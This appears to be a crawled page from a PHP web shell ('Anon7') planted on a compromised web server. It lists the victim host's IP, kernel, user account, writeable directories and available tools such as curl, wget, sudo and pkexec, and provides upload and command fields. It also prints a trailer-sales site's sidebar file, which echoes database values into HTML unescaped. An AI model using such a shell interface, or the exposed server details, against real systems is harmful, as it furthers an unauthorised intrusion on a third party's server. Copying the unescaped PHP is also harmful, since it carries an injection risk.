SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 3.141.198.113
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/www/page_content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/www/page_content//used_sidebar.php
<?php
$fileName =   end(explode('/',$_SERVER['PHP_SELF']));
if( $fileName == 'item_detail.php' ){
	$fileName = 'used.php';
}
$model_array = array();
$brand_array = array();
$type_array = array();
$querym  = "select * from tbl_items where c_status = '1' ORDER BY i_itemID DESC";
$result=$db->query($querym);  

if ($result->num_rows)
{	$slno=$page+1;
	foreach($result->rows AS $key=>$val )
	{		
			foreach($val AS $key1=>$val1 )
			{
				$$key1  = trim(stripslashes($val1));
				
				if( $key1 == 'brand' ){
					$brand_array[$brand] = $brand;
				}else if( $key1 == 'model' ){
					$model_array[$model] = $model;
				}else if( $key1 == 'type' ){
					$type_array[$type] = $type;
				}
			}
	}
}

?>



		<input type="text" name="search" placeholder="Search here...">
		<BR/><BR/>Year<BR/>
		<input type="text" name="year" placeholder="year">

		<BR/><BR/>Model<BR/>
		<input type="text" name="model" placeholder="Model">

		<BR/><BR/>Brand<BR/>
		<input type="text" name="brand" placeholder="Brand">

		<BR/><BR/>Lengh<BR/>
		<input type="text" name="length" placeholder="Length">

		<BR/><BR/>Width<BR/>
		<input type="text" name="width" placeholder="Width">

		<BR/><BR/>No Of Axles<BR/>
		<input type="text" name="of_axles" placeholder="No Of Axles">
		<BR/><BR/>
		<input type="submit" value="Go" style="background-color:#4AAA52;color:#fff; width:40%;" ><a href="<?php echo site_url.''.$fileName; ?>" ><input type="button" value="Reset" style="background-color:#4AAA52;color:#fff; width:40%; float:right;" ></a>
	
	<?php if( sizeof( $type_array ) > 0 ){ ?>
	<div class="blog-widget">							
		<h2>Type</h2>
		<ul>
		    <?php foreach($type_array AS $Key=>$val) { ?>
			<li><a href="<?php echo site_url.''.$fileName.'?type='.$val; ?>"><?php echo $val; ?></a></li>
			<?php } ?>
		</ul>
	</div><!-- /.blog-widget -->
	<?php } ?>

	<?php if( sizeof( $model_array ) > 0 ){ ?>
	<div class="blog-widget">							
		<h2>Model</h2>
		<ul>
		    <?php foreach($model_array AS $Key=>$val) { ?>
			<li><a href="<?php echo site_url.''.$fileName.'?model='.$val; ?>"><?php echo $val; ?></a></li>
			<?php } ?>
		</ul>
	</div><!-- /.blog-widget -->
	<?php } ?>

	<?php if( sizeof( $brand_array ) > 0 ){ ?>
	<div class="blog-widget">							
		<h2>Brand</h2>
		<div class="all-tags f1">
		    <?php foreach($brand_array AS $Key=>$val) { ?>
			<span><a href="<?php echo site_url.''.$fileName.'?brand='.$val; ?>"><?php echo $val; ?></a>,</span>			
			<?php } ?>
		</div>
	</div><!-- /.blog-widget -->
	<?php } ?>

Anon7 - 2022
SCDN GOK